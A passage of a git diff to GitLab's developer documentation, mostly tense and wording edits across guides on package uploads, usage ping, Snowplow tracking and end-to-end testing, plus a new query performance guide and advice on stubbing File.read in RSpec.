proxy that checks all incoming requests to GitLab will intercept the upload request, +the workhorse proxy that checks all incoming requests to GitLab intercept the upload request, upload the file, and forward a request to the main GitLab codebase only containing the metadata and file location rather than the file itself. An overview of this process can be found in the [development documentation](uploads.md#direct-upload). -In terms of code, this means a route will need to be added to the +In terms of code, this means a route must be added to the [GitLab Workhorse project](https://gitlab.com/gitlab-org/gitlab-workhorse) for each upload endpoint being added (instance, group, project). [This merge request](https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/412/diffs) demonstrates adding an instance-level endpoint for Conan to workhorse. You can also see the Maven project level endpoint implemented in the same file. -Once the route has been added, you will need to add an additional `/authorize` version of the upload endpoint to your API file. +Once the route has been added, you must add an additional `/authorize` version of the upload endpoint to your API file. [Here is an example](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164) of the additional endpoint added for Maven. The `/authorize` endpoint verifies and authorizes the request from workhorse, then the normal upload endpoint is implemented below, consuming the metadata that workhorse provides in order to @@ -244,7 +244,7 @@ in your local development environment. ### Future Work -While working on the MVC, contributors will probably find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues. +While working on the MVC, contributors might find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues. Here are some examples diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md index 88cb75fdb83..9c363f08cb4 100644 --- a/doc/development/product_analytics/event_dictionary.md +++ b/doc/development/product_analytics/event_dictionary.md @@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/ --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md index 88cb75fdb83..9c363f08cb4 100644 --- a/doc/development/product_analytics/index.md +++ b/doc/development/product_analytics/index.md @@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/ --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md index c5f48994d5c..a943bf273c7 100644 --- a/doc/development/product_analytics/snowplow.md +++ b/doc/development/product_analytics/snowplow.md @@ -98,7 +98,7 @@ sequenceDiagram ## Structured event taxonomy -When adding new click events, we should add them in a way that's internally consistent. If we don't, it'll be very painful to perform analysis across features since each feature will be capturing events differently. +When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently. The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture: @@ -110,6 +110,10 @@ The current method provides several attributes that are sent on each click event | property | text | false | Any additional property of the element, or object being acted on. | | value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). | +### Web-specific parameters + +Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#21_Web-specific_parameters) to all web events by default. + ## Implementing Snowplow JS (Frontend) tracking GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to use tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy). diff --git a/doc/development/product_analytics/usage_ping.md b/doc/development/product_analytics/usage_ping.md index fa785d934cb..66d431c2bb0 100644 --- a/doc/development/product_analytics/usage_ping.md +++ b/doc/development/product_analytics/usage_ping.md @@ -31,15 +31,15 @@ More useful links: - The usage data is primarily composed of row counts for different tables in the instance’s database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features within the product. In addition to counts, other facts that help us classify and understand GitLab installations are collected. - Usage ping is important to GitLab as we use it to calculate our Stage Monthly Active Users (SMAU) which helps us measure the success of our stages and features. -- While usage ping is enabled, GitLab will gather data from the other instances and will be able to show usage statistics of your instance to your users. +- While usage ping is enabled, GitLab gathers data from the other instances and can show usage statistics of your instance to your users. ### Why should we enable Usage Ping? - The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions. - As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation. - As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring. -- You will get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) -- You will get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? +- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) +- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? - You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes. - Usage Ping is enabled by default. To disable it, see [Disable Usage Ping](#disable-usage-ping). @@ -189,7 +189,7 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the count - `column` the column to perform the distinct count, by default is the primary key - `batch`: default `true` in order to use batch counting -- `batch_size`: if none set it will use default value 10000 from `Gitlab::Database::BatchCounter` +- `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter` - `start`: custom start of the batch counting in order to avoid complex min calculations - `end`: custom end of the batch counting in order to avoid complex min calculations @@ -213,7 +213,7 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the operation - `column` the column to sum on -- `batch_size`: if none set it will use default value 1000 from `Gitlab::Database::BatchCounter` +- `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter` - `start`: custom start of the batch counting in order to avoid complex min calculations - `end`: custom end of the batch counting in order to avoid complex min calculations @@ -304,7 +304,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF access to a group of events. - `redis_slot`: optional Redis slot; default value: event name. Used if needed to calculate totals for a group of metrics. Ensure keys are in the same slot. For example: - `i_compliance_credential_inventory` with `redis_slot: 'compliance'` will build Redis key + `i_compliance_credential_inventory` with `redis_slot: 'compliance'` builds Redis key `i_{compliance}_credential_inventory-2020-34`. If `redis_slot` is not defined the Redis key will be `{i_compliance_credential_inventory}-2020-34`. - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly @@ -574,7 +574,7 @@ NOTE: **Note:** Prometheus as a data source for Usage Ping is currently only available for single-node Omnibus installations that are running the [bundled Prometheus](../../administration/monitoring/prometheus/index.md) instance. -In order to query Prometheus for metrics, a helper method is available that will `yield` a fully configured +To query Prometheus for metrics, a helper method is available to `yield` a fully configured `PrometheusClient`, given it is available as per the note above: ```ruby @@ -613,7 +613,7 @@ Gitlab::UsageData.distinct_count(::Note.with_suggestions.where(time_period), :au ### 3. Generate the SQL query -Your Rails console will return the generated SQL queries. +Your Rails console returns the generated SQL queries. Example: @@ -631,7 +631,7 @@ Paste the SQL query into `#database-lab` to see how the query performs at scale. - `#database-lab` is a Slack channel which uses a production-sized environment to test your queries. - GitLab.com’s production database has a 15 second timeout. -- Any single query must stay below 1 second execution time with cold caches. +- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches. - Add a specialized index on columns involved to reduce the execution time. In order to have an understanding of the query's execution we add in the MR description the following information: @@ -670,7 +670,7 @@ Ensure you comply with the [Changelog entries guide](../changelog.md). ### 9. Ask for a Product Analytics Review -On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot will recommend a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review. +On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot recommends a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review. ### 10. Verify your metric @@ -696,10 +696,10 @@ This is the recommended approach to test Prometheus based Usage Ping. The easiest way to verify your changes is to build a new Omnibus image from your code branch via CI, then download the image and run a local container instance: -1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job will trigger an Omnibus +1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines). 1. In the downstream pipeline, wait for the `gitlab-docker` job to finish. -1. Open the job logs and locate the full container name including the version. It will take the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. +1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. 1. On your local machine, make sure you are logged in to the GitLab Docker registry. You can find the instructions for this in [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry). 1. Once logged in, download the new image via `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>` @@ -720,7 +720,7 @@ but with the following limitations: - While it runs a `node_exporter`, `docker-compose` services emulate hosts, meaning that it would normally report itself to not be associated with any of the other services that are running. That is not how node metrics are reported in a production setup, where `node_exporter` always runs as a process alongside other GitLab components on any given node. From Usage Ping's perspective none of the node data would therefore -appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics will appear in Usage Ping. +appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics appears in Usage Ping. ## Aggregated metrics @@ -733,14 +733,14 @@ This feature is intended solely for internal GitLab use. In order to add data for aggregated metrics into Usage Ping payload you should add corresponding definition into [`aggregated_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics.yml) file. Each aggregate definition includes following parts: -- name: unique name under which aggregate metric will be added to Usage Ping payload -- operator: operator that defines how aggregated metric data will be counted. Available operators are: +- name: unique name under which aggregate metric is added to Usage Ping payload +- operator: operator that defines how aggregated metric data is counted. Available operators are: - `OR`: removes duplicates and counts all entries that triggered any of listed events - `AND`: removes duplicates and counts all elements that were observed triggering all of following events - events: list of events names (from [`known_events.yml`](#known-events-in-usage-data-payload)) to aggregate into metric. All events in this list must have the same `redis_slot` and `aggregation` attributes. -- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that will be checked before -metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`. -`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag will be checked. +- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that is checked before +metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`. +`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag is checked. Example aggregated metric entries: @@ -754,7 +754,7 @@ Example aggregated metric entries: feature_flag: example_aggregated_metric ``` -Aggregated metrics will be added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload. +Aggregated metrics are added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload. ```ruby { diff --git a/doc/development/prometheus.md b/doc/development/prometheus.md index fc1f2303d0a..62f30871f54 100644 --- a/doc/development/prometheus.md +++ b/doc/development/prometheus.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/prometheus.md' --- This document was moved to [another location](../user/project/integrations/prometheus.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index 8fcc025b35b..f51c39e6b45 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -31,7 +31,7 @@ The requirement for adding a new metric is to make each query to have an unique ### Update existing metrics -After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that will query and update all existing metrics. +After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that queries and updates all existing metrics. Or, you can create a database migration: @@ -51,7 +51,7 @@ class ImportCommonMetrics < ActiveRecord::Migration[4.2] end ``` -If a query metric (which is identified by `id:`) is removed it will not be removed from database by default. +If a query metric (which is identified by `id:`) is removed, it isn't removed from database by default. You might want to add additional database migration that makes a decision what to do with removed one. For example: you might be interested in migrating all dependent data to a different metric. @@ -75,5 +75,5 @@ This section describes how to add new metrics for self-monitoring 1. Select the appropriate name for your metric. Refer to the guidelines for [Prometheus metric names](https://prometheus.io/docs/practices/naming/#metric-names). 1. Update the list of [GitLab Prometheus metrics](../administration/monitoring/prometheus/gitlab_metrics.md). -1. Trigger the relevant page/code that will record the new metric. +1. Trigger the relevant page or code that records the new metric. 1. Check that the new metric appears at `/-/metrics`. diff --git a/doc/development/query_performance.md b/doc/development/query_performance.md new file mode 100644 index 00000000000..b8be2bff07f --- /dev/null +++ b/doc/development/query_performance.md @@ -0,0 +1,74 @@ +--- +stage: Enablement +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Query performance guidelines + +This document describes various guidelines to follow when optimizing SQL queries. + +When you are optimizing your SQL queries, there are two dimensions to pay attention to: + +1. The query execution time. This is paramount as it reflects how the user experiences GitLab. +1. The query plan. Optimizing the query plan is important in allowing queries to independently scale over time. Realizing that an index will keep a query performing well as the table grows before the query degrades is an example of why we analyze these plans. + +## Timing guidelines for queries + +| Query Type | Maximum Query Time | Notes | +|----|----|---| +| General queries | `100ms` | This is not a hard limit, but if a query is getting above it, it is important to spend time understanding why it can or cannot be optimized. | +| Queries in a migration | `100ms` | This is different than the total [migration time](database_review.md#timing-guidelines-for-migrations). | +| Concurrent operations in a migration | `5min` | Concurrent operations do not block the database, but they block the GitLab update. This includes operations such as `add_concurrent_index` and `add_concurrent_foreign_key`. | +| Background migrations | `1s` | | +| Usage Ping | `1s` | See the [usage ping docs](product_analytics/usage_ping.md#developing-and-testing-usage-ping) for more details. | + +- When analyzing your query's performance, pay attention to if the time you are seeing is on a [cold or warm cache](#cold-and-warm-cache). These guidelines apply for both cache types. +- When working with batched queries, change the range and batch size to see how it effects the query timing and caching. +- If an existing query is already underperforming, make an effort to improve it. If it is too complex or would stall development, create a follow-up so it can be addressed in a timely manner. You can always ask the database reviewer or maintainer for help and guidance. + +## Cold and warm cache + +When evaluating query performance it is important to understand the difference between +cold and warm cached queries. + +The first time a query is made, it is made on a "cold cache". Meaning it needs +to read from disk. If you run the query again, the data can be read from the +cache, or what PostgreSQL calls shared buffers. This is the "warm cache" query. + +When analyzing an [`EXPLAIN` plan](understanding_explain_plans.md), you can see +the difference not only in the timing, but by looking at the output for `Buffers` +by running your explain with `EXPLAIN(analyze, buffers)`. The [#database-lab](understanding_explain_plans.md#database-lab) +tool will automatically include these options. + +If you are making a warm cache query, you will only see the `shared hits`. + +For example in #database-lab: + +```plaintext +Shared buffers: + - hits: 36467 (~284.90 MiB) from the buffer pool + - reads: 0 from the OS file cache, including disk I/O +``` + +Or in the explain plan from `psql`: + +```sql +Buffers: shared hit=7323 +``` + +If the cache is cold, you will also see `reads`. + +In #database-lab: + +```plaintext +Shared buffers: + - hits: 17204 (~134.40 MiB) from the buffer pool + - reads: 15229 (~119.00 MiB) from the OS file cache, including disk I/O +``` + +In `psql`: + +```sql +Buffers: shared hit=7202 read=121 +``` diff --git a/doc/development/rolling_out_changes_using_feature_flags.md b/doc/development/rolling_out_changes_using_feature_flags.md index cff88388ba0..7456e8df8d9 100644 --- a/doc/development/rolling_out_changes_using_feature_flags.md +++ b/doc/development/rolling_out_changes_using_feature_flags.md @@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md' --- This document was moved to [another location](feature_flags/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/sidekiq_debugging.md b/doc/development/sidekiq_debugging.md index e0f74b39c9a..a9b6e246861 100644 --- a/doc/development/sidekiq_debugging.md +++ b/doc/development/sidekiq_debugging.md @@ -3,3 +3,6 @@ redirect_to: '../administration/troubleshooting/sidekiq.md' --- This document was moved to [another location](../administration/troubleshooting/sidekiq.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/event_dictionary.md b/doc/development/telemetry/event_dictionary.md index 53b7ddea095..bc230a46441 100644 --- a/doc/development/telemetry/event_dictionary.md +++ b/doc/development/telemetry/event_dictionary.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/event_dictionary.md' --- This document was moved to [another location](../product_analytics/event_dictionary.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/index.md b/doc/development/telemetry/index.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/telemetry/index.md +++ b/doc/development/telemetry/index.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md index fd75d29286b..7cd385be681 100644 --- a/doc/development/telemetry/snowplow.md +++ b/doc/development/telemetry/snowplow.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/snowplow.md' --- This document was moved to [another location](../product_analytics/snowplow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md index 1026e7a5a66..c890353fe3b 100644 --- a/doc/development/telemetry/usage_ping.md +++ b/doc/development/telemetry/usage_ping.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/usage_ping.md' --- This document was moved to [another location](../product_analytics/usage_ping.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing.md b/doc/development/testing.md index 79ef8e75432..a0130bfb4ac 100644 --- a/doc/development/testing.md +++ b/doc/development/testing.md @@ -3,3 +3,6 @@ redirect_to: 'testing_guide/index.md' --- This document was moved to [another location](testing_guide/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index dabb18c1f75..49ada6d9a13 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -603,6 +603,32 @@ it "really connects to Prometheus", :permit_dns do And if you need more specific control, the DNS blocking is implemented in `spec/support/helpers/dns_helpers.rb` and these methods can be called elsewhere. +#### Stubbing File methods + +In the situations where you need to +[stub](https://relishapp.com/rspec/rspec-mocks/v/3-9/docs/basics/allowing-messages) +methods such as `File.read`, make sure to: + +1. Stub `File.read` for only the filepath you are interested in. +1. Call the original implementation for other filepaths. + +Otherwise `File.read` calls from other parts of the codebase get +stubbed incorrectly. You should use the `stub_file_read`, and +`expect_file_read` helper methods which does the stubbing for +`File.read` correctly. + +```ruby +# bad, all Files will read and return nothing +allow(File).to receive(:read) + +# good +stub_file_read(my_filepath) + +# also OK +allow(File).to receive(:read).and_call_original +allow(File).to receive(:read).with(my_filepath) +``` + #### Filesystem Filesystem data can be roughly split into "repositories", and "everything else". diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md index ef0bd9902e1..9dea8221210 100644 --- a/doc/development/testing_guide/end_to_end/beginners_guide.md +++ b/doc/development/testing_guide/end_to_end/beginners_guide.md @@ -6,15 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Beginner's guide to writing end-to-end tests -In this tutorial, you will learn about the creation of end-to-end (_e2e_) tests +This tutorial walks you through the creation of end-to-end (_e2e_) tests for [GitLab Community Edition](https://about.gitlab.com/install/?version=ce) and [GitLab Enterprise Edition](https://about.gitlab.com/install/). -By the end of this tutorial, you will be able to: +By the end of this tutorial, you can: - Determine whether an end-to-end test is needed. - Understand the directory structure within `qa/`. -- Write a basic end-to-end test that will validate login features. +- Write a basic end-to-end test that validates login features. - Develop any missing [page object](page_objects.md) libraries. ## Before you write a test @@ -68,17 +68,17 @@ The GitLab QA end-to-end tests are organized by the different [stages in the DevOps lifecycle](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features/browser_ui). Determine where the test should be placed by [stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages), -determine which feature the test will belong to, and then place it in a subdirectory +determine which feature the test belongs to, and then place it in a subdirectory under the stage.  -If the test is Enterprise Edition only, the test will be created in the `features/ee` +If the test is Enterprise Edition only, the test is created in the `features/ee` directory, but follow the same DevOps lifecycle format. ## Create a skeleton test -In the first part of this tutorial we will be testing login, which is owned by the +In the first part of this tutorial we are testing login, which is owned by the Manage stage. Inside `qa/specs/features/browser_ui/1_manage/login`, create a file `basic_login_spec.rb`. @@ -286,12 +286,12 @@ end Note the following important points: -- At the start of our example, we will be at the `page/issue/show.rb` [page](page_objects.md). +- At the start of our example, we are at the `page/issue/show.rb` [page](page_objects.md). - Our test fabricates only what it needs, when it needs it. - The issue is fabricated through the API to save time. - GitLab prefers `let()` over instance variables. See [best practices](../best_practices.md#subject-and-let-variables). -- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but will be +- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but is implemented in the next step. The issue is fabricated as a [Resource](resources.md), which is a GitLab entity diff --git a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md index 871b3f80c18..f6aea82eae9 100644 --- a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md +++ b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md @@ -23,7 +23,7 @@ We interpret user actions on the page to have some sort of effect. These actions ### Navigation -When a page is navigated to, there are elements that will always appear on the page unconditionally. +When a page is navigated to, there are elements that always appear on the page unconditionally. Dynamic element validation is instituted when using @@ -100,7 +100,7 @@ Runtime::Browser.visit(:gitlab, Page::MyPage) execute_stuff ``` -will invoke GitLab QA to scan `MyPage` for `my_element` and `another_element` to be on the page before continuing to +invokes GitLab QA to scan `MyPage` for `my_element` and `another_element` to be on the page before continuing to `execute_stuff` ### Clicking @@ -113,7 +113,7 @@ def open_layer end ``` -will invoke GitLab QA to ensure that `message_content` appears on +invokes GitLab QA to ensure that `message_content` appears on the Layer upon clicking `my_element`. -This will imply that the Layer is indeed rendered before we continue our test. +This implies that the Layer is indeed rendered before we continue our test. diff --git a/doc/development/testing_guide/end_to_end/environment_selection.md b/doc/development/testing_guide/end_to_end/environment_selection.md index f5e3e99b79e..a2f3fda6db6 100644 --- a/doc/development/testing_guide/end_to_end/environment_selection.md +++ b/doc/development/testing_guide/end_to_end/environment_selection.md @@ -65,4 +65,4 @@ If you want to run an `only: { :pipeline }` tagged test on your local GDK make s Similarly to specifying that a test should only run against a specific environment, it's also possible to quarantine a test only when it runs against a specific environment. The syntax is exactly the same, except that the `only: { ... }` hash is nested in the [`quarantine: { ... }`](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests) hash. -For instance, `quarantine: { only: { subdomain: :staging } }` will only quarantine the test when run against staging. +For instance, `quarantine: { only: { subdomain: :staging } }` only quarantines the test when run against staging. diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md index 2ff1c9f6dc3..eabec05780d 100644 --- a/doc/development/testing_guide/end_to_end/feature_flags.md +++ b/doc/development/testing_guide/end_to_end/feature_flags.md @@ -10,7 +10,7 @@ To run a specific test with a feature flag enabled you can use the `QA::Runtime: enable and disable feature flags ([via the API](../../../api/features.md)). Note that administrator authorization is required to change feature flags. `QA::Runtime::Feature` -will automatically authenticate as an administrator as long as you provide an appropriate access +automatically authenticates as an administrator as long as you provide an appropriate access token via `GITLAB_QA_ADMIN_ACCESS_TOKEN` (recommended), or provide `GITLAB_ADMIN_USERNAME` and `GITLAB_ADMIN_PASSWORD`. @@ -60,7 +60,7 @@ feature_group = "a_feature_group" Runtime::Feature.enable(:feature_flag_name, feature_group: feature_group) ``` -If no scope is provided, the feature flag will be set instance-wide: +If no scope is provided, the feature flag is set instance-wide: ```ruby # This will affect all users! diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index 1d144359ed8..f71abd6d252 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -126,8 +126,8 @@ For example, when we [dequarantine](https://about.gitlab.com/handbook/engineerin a flaky test we first want to make sure that it's no longer flaky. We can do that using the `ce:custom-parallel` and `ee:custom-parallel` jobs. Both are manual jobs that you can configure using custom variables. -When you click the name (not the play icon) of one of the parallel jobs, -you'll be prompted to enter variables. You can use any of [the variables +When clicking the name (not the play icon) of one of the parallel jobs, +you are prompted to enter variables. You can use any of [the variables that can be used with `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/what_tests_can_be_run.md#supported-gitlab-environment-variables) as well as these: @@ -137,7 +137,7 @@ as well as these: | `QA_TESTS` | The test(s) to run (no default, which means run all the tests in the scenario). Use file paths as you would when running tests via RSpec, e.g., `qa/specs/features/ee/browser_ui` would include all the `EE` UI tests. | | `QA_RSPEC_TAGS` | The RSpec tags to add (no default) | -For now [manual jobs with custom variables will not use the same variable +For now [manual jobs with custom variables don't use the same variable when retried](https://gitlab.com/gitlab-org/gitlab/-/issues/31367), so if you want to run the same test(s) multiple times, specify the same variables in each `custom-parallel` job (up to as many of the 10 available jobs that you want to run). diff --git a/doc/development/testing_guide/end_to_end/page_objects.md b/doc/development/testing_guide/end_to_end/page_objects.md index 7eacaf4b08a..799a0b61025 100644 --- a/doc/development/testing_guide/end_to_end/page_objects.md +++ b/doc/development/testing_guide/end_to_end/page_objects.md @@ -30,13 +30,13 @@ need to rely on volatile helpers or invoke Capybara methods directly. Imagine invoking `fill_in :user_login` in every `*_spec.rb` file / test example. When someone later changes `t.text_field :login` in the view associated with -this page to `t.text_field :username` it will generate a different field +this page to `t.text_field :username` it generates a different field identifier, what would effectively break all tests. Because we are using `Page::Main::Login.perform(&:sign_in_using_credentials)` everywhere, when we want to sign in to GitLab, the page object is the single -source of truth, and we will need to update `fill_in :user_login` -to `fill_in :user_username` only in a one place. +source of truth, and we must update `fill_in :user_login` +to `fill_in :user_username` only in one place. ## What problems did we have in the past? @@ -44,7 +44,7 @@ We do not run QA tests for every commit, because of performance reasons, and the time it would take to build packages and test everything. That is why when someone changes `t.text_field :login` to -`t.text_field :username` in the _new session_ view we won't know about this +`t.text_field :username` in the _new session_ view we don't know about this change until our GitLab QA nightly pipeline fails, or until someone triggers `package-and-qa` action in their merge request. @@ -56,14 +56,14 @@ problem by introducing coupling between GitLab CE / EE views and GitLab QA. ## How did we solve fragile tests problem? -Currently, when you add a new `Page::Base` derived class, you will also need to +Currently, when you add a new `Page::Base` derived class, you must also define all selectors that your page objects depend on. Whenever you push your code to CE / EE repository, `qa:selectors` sanity test -job is going to be run as a part of a CI pipeline. +job runs as a part of a CI pipeline. -This test is going to validate all page objects that we have implemented in -`qa/page` directory. When it fails, you will be notified about missing +This test validates all page objects that we have implemented in +`qa/page` directory. When it fails, it notifies you about missing or invalid views/selectors definition. ## How to properly implement a page object? @@ -95,10 +95,10 @@ end ### Defining Elements -The `view` DSL method will correspond to the Rails view, partial, or Vue component that renders the elements. +The `view` DSL method corresponds to the Rails view, partial, or Vue component that renders the elements. The `element` DSL method in turn declares an element for which a corresponding -`data-qa-selector=element_name_snaked` data attribute will need to be added to the view file. +`data-qa-selector=element_name_snaked` data attribute must be added to the view file. You can also define a value (String or Regexp) to match to the actual view code but **this is deprecated** in favor of the above method for two reasons: @@ -257,7 +257,7 @@ These modules must: 1. Include/prepend other modules and define their `view`/`elements` in a `base.class_eval` block to ensure they're defined in the class that prepends the module. -These steps ensure the sanity selectors check will detect problems properly. +These steps ensure the sanity selectors check detect problems properly. For example, `qa/qa/ee/page/merge_request/show.rb` adds EE-specific methods to `qa/qa/page/merge_request/show.rb` (with `QA::Page::MergeRequest::Show.prepend_if_ee('QA::EE::Page::MergeRequest::Show')`) and following is how it's implemented diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md index d73bae331d5..e23a74dcbd2 100644 --- a/doc/development/testing_guide/end_to_end/resources.md +++ b/doc/development/testing_guide/end_to_end/resources.md @@ -94,7 +94,7 @@ needs a group to be created in. To define a resource 